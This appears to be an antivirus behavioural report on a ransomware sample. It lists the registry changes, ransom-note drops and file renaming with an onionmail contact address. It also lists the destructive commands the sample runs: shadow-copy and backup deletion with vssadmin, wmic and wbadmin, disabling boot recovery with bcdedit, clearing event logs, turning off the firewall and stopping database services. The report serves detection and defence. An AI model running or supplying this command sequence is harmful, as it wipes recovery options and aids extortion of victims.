Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Creates the following files on removable media
- <Drive name for removable media>:\readme.txt
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following
- '%WINDIR%\syswow64\net.exe' stop MSDTC
- '%WINDIR%\syswow64\net.exe' stop SQLSERVERAGENT
- '%WINDIR%\syswow64\net.exe' stop MSSQLSERVER
- '%WINDIR%\syswow64\net.exe' stop vds
- '%WINDIR%\syswow64\net.exe' stop SQLWriter
- '%WINDIR%\syswow64\net.exe' stop SQLBrowser
- '%WINDIR%\syswow64\net.exe' stop MSSQL$CONTOSO1
- '%WINDIR%\syswow64\netsh.exe' advfirewall set currentprofile state off
- '%WINDIR%\syswow64\netsh.exe' firewall set opmode mode=disable
Reads files which store third party applications passwords
- %APPDATA%\mozilla\firefox\profiles.ini
- %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx
- %HOMEPATH%\desktop\applicantform_en.doc
- %HOMEPATH%\desktop\contosoroot_1.cer
- %HOMEPATH%\desktop\cveuropeo.doc
- %HOMEPATH%\desktop\default.bmp
- %APPDATA%\thunderbird\profiles.ini
- %HOMEPATH%\desktop\february_catalogue__2015.doc
- %HOMEPATH%\desktop\fi51.doc
- %HOMEPATH%\desktop\file_p_00000000_1371597592.docx
- %HOMEPATH%\desktop\join.avi
- %HOMEPATH%\desktop\sdkfailsafeemulator.cer
- %HOMEPATH%\desktop\thlps_keeper_mayer_1965.docx
- %HOMEPATH%\desktop\tileimage.bmp
- %HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc
Modifies file system
Creates the following files
- <Current directory>\output.bmp
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\readme.txt
- %HOMEPATH%\favorites\links\readme.txt
- %HOMEPATH%\pictures\readme.txt
- %HOMEPATH%\saved games\readme.txt
- %HOMEPATH%\videos\readme.txt
- %LOCALAPPDATA%low\oracle\java\au\readme.txt
- %HOMEPATH%\favorites\links for united states\readme.txt
- %LOCALAPPDATA%\google\chrome\application\readme.txt
- %HOMEPATH%\searches\readme.txt
- %LOCALAPPDATA%low\sun\java\jre1.8.0_45_x64\readme.txt
- %LOCALAPPDATA%low\sun\java\deployment\readme.txt
- %APPDATA%\thunderbird\crash reports\readme.txt
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\extensions\readme.txt
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\installer\readme.txt
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\locales\readme.txt
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\pepperflash\readme.txt
- %APPDATA%\thunderbird\readme.txt
- %LOCALAPPDATA%\google\chrome\user data\readme.txt
- %TEMP%\readme.txt
- %APPDATA%\telegram desktop\readme.txt
- %HOMEPATH%\links\readme.txt
- C:\kms\readme.txt
- D:\readme.txt
- C:\users\readme.txt
- <Current directory>\readme.txt
- %HOMEPATH%\readme.txt
- %LOCALAPPDATA%\readme.txt
- %LOCALAPPDATA%\gdipfontcachev1.dat
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\visualelements\readme.txt
- %HOMEPATH%\favorites\msn websites\readme.txt
- %APPDATA%\mozilla\firefox\readme.txt
- C:\recovery\4cc8e8a4-51d2-11ee-b826-9a90d4dcffb5\readme.txt
- %HOMEPATH%\desktop\readme.txt
- %HOMEPATH%\documents\readme.txt
- %HOMEPATH%\favorites\readme.txt
- %HOMEPATH%\downloads\readme.txt
- %HOMEPATH%\contacts\readme.txt
- %HOMEPATH%\music\readme.txt
- C:\readme.txt
- %APPDATA%\mozilla\firefox\crash reports\readme.txt
- %TEMP%\opera installer\readme.txt
Deletes the following files
- <Current directory>\output.bmp
Moves the following files
- from %LOCALAPPDATA%\gdipfontcachev1.dat to %LOCALAPPDATA%\helpbackyourfile@onionmail.orggdipfontcachev1.dat
- from %TEMP%\javadeployreg.log to %TEMP%\helpbackyourfile@onionmail.orgjavadeployreg.log
- from %TEMP%\dd_wcf_ca_smci_20230913_002946_802.txt to %TEMP%\helpbackyourfile@onionmail.orgdd_wcf_ca_smci_20230913_002946_802.txt
- from %TEMP%\dd_wcf_ca_smci_20230913_002944_977.txt to %TEMP%\helpbackyourfile@onionmail.orgdd_wcf_ca_smci_20230913_002944_977.txt
- from %TEMP%\dd_vcredist_x86_20230912172350.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_x86_20230912172350.log
- from %TEMP%\dd_vcredist_x86_20230912172322_002_vcruntimeadditional_x86.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_x86_20230912172322_002_vcruntimeadditional_x86.log
- from %TEMP%\dd_vcredist_x86_20230912172322_001_vcruntimeminimum_x86.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_x86_20230912172322_001_vcruntimeminimum_x86.log
- from %TEMP%\dd_vcredist_x86_20230912172322.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_x86_20230912172322.log
- from %TEMP%\jusched.log to %TEMP%\helpbackyourfile@onionmail.orgjusched.log
- from %TEMP%\jawshtml.html to %TEMP%\helpbackyourfile@onionmail.orgjawshtml.html
- from %TEMP%\dd_vcredist_x86_20230912172157_001_vcruntimeminimum_x86.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_x86_20230912172157_001_vcruntimeminimum_x86.log
- from %TEMP%\dd_vcredist_x86_20230912172157.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_x86_20230912172157.log
- from %TEMP%\dd_vcredist_x86_20230912171936_001_vcruntimeadditional_x86.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_x86_20230912171936_001_vcruntimeadditional_x86.log
- from %TEMP%\dd_vcredist_x86_20230912171936_000_vcruntimeminimum_x86.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_x86_20230912171936_000_vcruntimeminimum_x86.log
- from %TEMP%\dd_vcredist_x86_20230912171936.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_x86_20230912171936.log
- from %TEMP%\dd_vcredist_x86_20230912171759_1_vcruntimeadditional_x86.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_x86_20230912171759_1_vcruntimeadditional_x86.log
- from %TEMP%\dd_vcredist_x86_20230912171759_0_vcruntimeminimum_x86.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_x86_20230912171759_0_vcruntimeminimum_x86.log
- from %TEMP%\dd_vcredist_x86_20230912172224.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_x86_20230912172224.log
- from %TEMP%\dd_vcredist_amd64_20230912171641.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_amd64_20230912171641.log
- from %TEMP%\microsoft .net framework 4 setup_20230912_172639823-msi_netfx_core_x64.msi.txt to %TEMP%\helpbackyourfile@onionmail.orgmicrosoft .net framework 4 setup_20230912_172639823-msi_netfx_core_x64.msi.txt
- from %TEMP%\user.bmp to %TEMP%\helpbackyourfile@onionmail.orguser.bmp
- from %TEMP%\tmpaddon to %TEMP%\helpbackyourfile@onionmail.orgtmpaddon
- from %TEMP%\setupexe(202309121734336dc).log to %TEMP%\helpbackyourfile@onionmail.orgsetupexe(202309121734336dc).log
- from %TEMP%\rgia609.tmp-tmp to %TEMP%\helpbackyourfile@onionmail.orgrgia609.tmp-tmp
- from %TEMP%\rgia609.tmp to %TEMP%\helpbackyourfile@onionmail.orgrgia609.tmp
- from %TEMP%\readme.txt to %TEMP%\helpbackyourfile@onionmail.orgreadme.txt
- from %TEMP%\ose00000.exe to %TEMP%\helpbackyourfile@onionmail.orgose00000.exe
- from %TEMP%\opera_crashreporter.log to %TEMP%\helpbackyourfile@onionmail.orgopera_crashreporter.log
- from %TEMP%\microsoft visual c++ 2010 x86 redistributable setup_20230912_171631997.html to %TEMP%\helpbackyourfile@onionmail.orgmicrosoft visual c++ 2010 x86 redistributable setup_20230912_171631997.html
- from %TEMP%\microsoft visual c++ 2010 x86 redistributable setup_20230912_171631997-msi_vc_red.msi.txt to %TEMP%\helpbackyourfile@onionmail.orgmicrosoft visual c++ 2010 x86 redistributable setup_20230912_171631997-msi_vc_red.msi.txt
- from %TEMP%\microsoft visual c++ 2010 x64 redistributable setup_20230912_171623793.html to %TEMP%\helpbackyourfile@onionmail.orgmicrosoft visual c++ 2010 x64 redistributable setup_20230912_171623793.html
- from %TEMP%\microsoft visual c++ 2010 x64 redistributable setup_20230912_171623793-msi_vc_red.msi.txt to %TEMP%\helpbackyourfile@onionmail.orgmicrosoft visual c++ 2010 x64 redistributable setup_20230912_171623793-msi_vc_red.msi.txt
- from %TEMP%\microsoft visual c++ 2010 x64 redistributable setup_20230912_171604215.html to %TEMP%\helpbackyourfile@onionmail.orgmicrosoft visual c++ 2010 x64 redistributable setup_20230912_171604215.html
- from %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\locales\readme.txt to %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\locales\helpbackyourfile@onionmail.orgreadme.txt
- from %TEMP%\microsoft visual c++ 2010 x64 redistributable setup_20230912_171604215-msi_vc_red.msi.txt to %TEMP%\helpbackyourfile@onionmail.orgmicrosoft visual c++ 2010 x64 redistributable setup_20230912_171604215-msi_vc_red.msi.txt
- from %TEMP%\microsoft .net framework 4.8 setup_20230912_173103134.html to %TEMP%\helpbackyourfile@onionmail.orgmicrosoft .net framework 4.8 setup_20230912_173103134.html
- from %TEMP%\microsoft .net framework 4 setup_20230912_172639823.html to %TEMP%\helpbackyourfile@onionmail.orgmicrosoft .net framework 4 setup_20230912_172639823.html
- from %TEMP%\dd_vcredist_x86_20230912171759.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_x86_20230912171759.log
- from %TEMP%\dd_vcredist_x86_20230912172157_002_vcruntimeadditional_x86.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_x86_20230912172157_002_vcruntimeadditional_x86.log
- from %TEMP%\dd_vcredist_x86_20230912171710_1_vcruntimeadditional_x86.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_x86_20230912171710_1_vcruntimeadditional_x86.log
- from %TEMP%\dd_vcredist_x86_20230912171710_0_vcruntimeminimum_x86.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_x86_20230912171710_0_vcruntimeminimum_x86.log
- from %TEMP%\dd_vcredist_x86_20230912171710.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_x86_20230912171710.log
- from %TEMP%\aspnetsetup_00000.log to %TEMP%\helpbackyourfile@onionmail.orgaspnetsetup_00000.log
- from %TEMP%\dd_setuputility.txt to %TEMP%\helpbackyourfile@onionmail.orgdd_setuputility.txt
- from %APPDATA%\thunderbird\crash reports\installtime20210406220621 to %APPDATA%\thunderbird\crash reports\helpbackyourfile@onionmail.orginstalltime20210406220621
- from %APPDATA%\thunderbird\profiles.ini to %APPDATA%\thunderbird\helpbackyourfile@onionmail.orgprofiles.ini
- from %TEMP%\dd_ndp48-x86-x64-allos-enu_decompression_log.txt to %TEMP%\helpbackyourfile@onionmail.orgdd_ndp48-x86-x64-allos-enu_decompression_log.txt
- from %TEMP%\dd_dotnetfx40_full_x86_x64_decompression_log.txt to %TEMP%\helpbackyourfile@onionmail.orgdd_dotnetfx40_full_x86_x64_decompression_log.txt
- from %TEMP%\chrome_installer.log to %TEMP%\helpbackyourfile@onionmail.orgchrome_installer.log
- from %TEMP%\aspnetsetup_00001.log to %TEMP%\helpbackyourfile@onionmail.orgaspnetsetup_00001.log
- from %TEMP%\armui.ini to %TEMP%\helpbackyourfile@onionmail.orgarmui.ini
- from %APPDATA%\telegram desktop\unins000.dat to %APPDATA%\telegram desktop\helpbackyourfile@onionmail.orgunins000.dat
- from %TEMP%\adobesfx.log to %TEMP%\helpbackyourfile@onionmail.orgadobesfx.log
- from %TEMP%\adobearm.log to %TEMP%\helpbackyourfile@onionmail.orgadobearm.log
- from %APPDATA%\thunderbird\installs.ini to %APPDATA%\thunderbird\helpbackyourfile@onionmail.orginstalls.ini
- from %APPDATA%\telegram desktop\telegram.exe to %APPDATA%\telegram desktop\helpbackyourfile@onionmail.orgtelegram.exe
- from %APPDATA%\mozilla\firefox\crash reports\installtime20200708170202 to %APPDATA%\mozilla\firefox\crash reports\helpbackyourfile@onionmail.orginstalltime20200708170202
- from %APPDATA%\mozilla\firefox\profiles.ini to %APPDATA%\mozilla\firefox\helpbackyourfile@onionmail.orgprofiles.ini
- from %APPDATA%\mozilla\firefox\installs.ini to %APPDATA%\mozilla\firefox\helpbackyourfile@onionmail.orginstalls.ini
- from %TEMP%\wallpaper.bmp to %TEMP%\helpbackyourfile@onionmail.orgwallpaper.bmp
- from %TEMP%\microsoft .net framework 4 setup_20230912_172639823-msi_netfx_extended_x64.msi.txt to %TEMP%\helpbackyourfile@onionmail.orgmicrosoft .net framework 4 setup_20230912_172639823-msi_netfx_extended_x64.msi.txt
- from %TEMP%\dd_vcredistui12db.txt to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredistui12db.txt
- from %APPDATA%\telegram desktop\updater.exe to %APPDATA%\telegram desktop\helpbackyourfile@onionmail.orgupdater.exe
- from %TEMP%\dd_vcredistmsi12db.txt to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredistmsi12db.txt
- from %TEMP%\dd_vcredist_amd64_20230912172315.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_amd64_20230912172315.log
- from %TEMP%\dd_vcredist_amd64_20230912172247_002_vcruntimeadditional_x64.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_amd64_20230912172247_002_vcruntimeadditional_x64.log
- from %TEMP%\dd_vcredist_amd64_20230912172247_001_vcruntimeminimum_x64.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_amd64_20230912172247_001_vcruntimeminimum_x64.log
- from %TEMP%\dd_vcredist_amd64_20230912172247.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_amd64_20230912172247.log
- from %TEMP%\dd_vcredist_amd64_20230912172134.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_amd64_20230912172134.log
- from %TEMP%\dd_vcredist_amd64_20230912172034_002_vcruntimeadditional_x64.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_amd64_20230912172034_002_vcruntimeadditional_x64.log
- from %TEMP%\dd_vcredist_amd64_20230912172034_001_vcruntimeminimum_x64.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_amd64_20230912172034_001_vcruntimeminimum_x64.log
- from %TEMP%\dd_vcredist_amd64_20230912172034.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_amd64_20230912172034.log
- from %TEMP%\dd_vcredist_amd64_20230912171824_001_vcruntimeadditional_x64.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_amd64_20230912171824_001_vcruntimeadditional_x64.log
- from %TEMP%\dd_vcredist_amd64_20230912171824_000_vcruntimeminimum_x64.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_amd64_20230912171824_000_vcruntimeminimum_x64.log
- from %TEMP%\dd_vcredist_amd64_20230912171824.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_amd64_20230912171824.log
- from %TEMP%\dd_vcredist_amd64_20230912171735_1_vcruntimeadditional_x64.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_amd64_20230912171735_1_vcruntimeadditional_x64.log
- from %TEMP%\dd_vcredist_amd64_20230912171735_0_vcruntimeminimum_x64.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_amd64_20230912171735_0_vcruntimeminimum_x64.log
- from %TEMP%\dd_vcredist_amd64_20230912171735.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_amd64_20230912171735.log
- from %TEMP%\dd_vcredist_amd64_20230912171641_1_vcruntimeadditional_x64.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_amd64_20230912171641_1_vcruntimeadditional_x64.log
- from %TEMP%\dd_vcredist_amd64_20230912171641_0_vcruntimeminimum_x64.log to %TEMP%\helpbackyourfile@onionmail.orgdd_vcredist_amd64_20230912171641_0_vcruntimeminimum_x64.log
- from %APPDATA%\telegram desktop\unins000.exe to %APPDATA%\telegram desktop\helpbackyourfile@onionmail.orgunins000.exe
- from %TEMP%\wmsetup.log to %TEMP%\helpbackyourfile@onionmail.orgwmsetup.log
Modifies the following files
- D:\install.log
- %HOMEPATH%\saved games\desktop.ini
- %HOMEPATH%\pictures\desktop.ini
- %HOMEPATH%\favorites\links\web slice gallery.url
- %HOMEPATH%\favorites\links\desktop.ini
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\42.0.2311.135.manifest
- %APPDATA%\thunderbird\installs.ini
- %HOMEPATH%\links\desktop.lnk
- %HOMEPATH%\desktop\desktop.ini
- %HOMEPATH%\desktop\default.bmp
- %HOMEPATH%\desktop\cveuropeo.doc
- C:\recovery\4cc8e8a4-51d2-11ee-b826-9a90d4dcffb5\winre.wim
- %HOMEPATH%\desktop\contosoroot_1.cer
- %HOMEPATH%\links\desktop.ini
- %HOMEPATH%\music\desktop.ini
- %HOMEPATH%\contacts\desktop.ini
- %HOMEPATH%\downloads\desktop.ini
- %HOMEPATH%\favorites\desktop.ini
- %HOMEPATH%\documents\desktop.ini
- %HOMEPATH%\desktop\applicantform_en.doc
- C:\recovery\4cc8e8a4-51d2-11ee-b826-9a90d4dcffb5\boot.sdi
- %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx
- %APPDATA%\mozilla\firefox\crash reports\installtime20200708170202
- %APPDATA%\mozilla\firefox\profiles.ini
- %APPDATA%\mozilla\firefox\installs.ini
- C:\kms\kms_vl_all_aio_debug.log
- C:\users\desktop.ini
- C:\kms\kms_vl_all_aio.cmd
- %HOMEPATH%\videos\desktop.ini
- %TEMP%\adobearm.log
Modifies multiple files.
Substitutes the following files
- %LOCALAPPDATA%\google\chrome\application\42.0.2311.135\locales\readme.txt
- %TEMP%\readme.txt
Moves itself
- from <Full path to file> to <Current directory>\helpbackyourfile@onionmail.org<File name>.exe
Modifies user data files (Trojan.Encoder).
Network activity
UDP
- 'localhost':56169
- 'localhost':49992
Miscellaneous
Searches for the following windows
- ClassName: 'SystemTray_Main' WindowName: ''
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet
- '%WINDIR%\syswow64\cmd.exe' /c net.exe stop MSDTC
- '%WINDIR%\syswow64\net1.exe' stop MSDTC
- '%WINDIR%\syswow64\cmd.exe' /c net.exe stop SQLSERVERAGENT
- '%WINDIR%\syswow64\net1.exe' stop SQLSERVERAGENT
- '%WINDIR%\syswow64\cmd.exe' /c net.exe stop MSSQLSERVER
- '%WINDIR%\syswow64\net1.exe' stop MSSQLSERVER
- '%WINDIR%\syswow64\net1.exe' stop vds
- '%WINDIR%\syswow64\cmd.exe' /c wevtutil.exe clear-log Application
- '%WINDIR%\syswow64\cmd.exe' /c net.exe stop SQLWriter
- '%WINDIR%\syswow64\net1.exe' stop SQLWriter
- '%WINDIR%\syswow64\cmd.exe' /c net.exe stop SQLBrowser
- '%WINDIR%\syswow64\net1.exe' stop SQLBrowser
- '%WINDIR%\syswow64\cmd.exe' /c net.exe stop MSSQL$CONTOSO1
- '%WINDIR%\syswow64\net1.exe' stop MSSQL$CONTOSO1
- '%WINDIR%\syswow64\wbem\wmic.exe' SHADOWCOPY /nointeractive
- '%WINDIR%\syswow64\cmd.exe' /c wmic.exe SHADOWCOPY /nointeractive
- '%WINDIR%\syswow64\wevtutil.exe' clear-log "windows powershell"
- '%WINDIR%\syswow64\cmd.exe' /c wevtutil.exe clear-log "windows powershell"
- '%WINDIR%\syswow64\wevtutil.exe' clear-log System
- '%WINDIR%\syswow64\cmd.exe' /c wevtutil.exe clear-log System
- '%WINDIR%\syswow64\wevtutil.exe' clear-log Security
- '%WINDIR%\syswow64\cmd.exe' /c wevtutil.exe clear-log Security
- '%WINDIR%\syswow64\wevtutil.exe' clear-log Application
- '%WINDIR%\syswow64\cmd.exe' /c net.exe stop vds
- '%WINDIR%\syswow64\cmd.exe' /c wbadmin.exe delete systemstatebackup -keepversions:0
- '%WINDIR%\syswow64\cmd.exe' /c wbadmin.exe delete backup
- '%WINDIR%\syswow64\cmd.exe' /c wbadmin.exe delete catalog –quiet
- '%WINDIR%\syswow64\cmd.exe' /c wbadmin.exe DELETE SYSTEMSTATEBACKUP –deleteOldest
- '%WINDIR%\syswow64\cmd.exe' /c wbadmin.exe DELETE SYSTEMSTATEBACKUP
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit.exe /set {default} recoveryenabled No
- '%WINDIR%\syswow64\cmd.exe' /c netsh.exe advfirewall set currentprofile state off
- '%WINDIR%\syswow64\cmd.exe' /c netsh.exe firewall set opmode mode=disable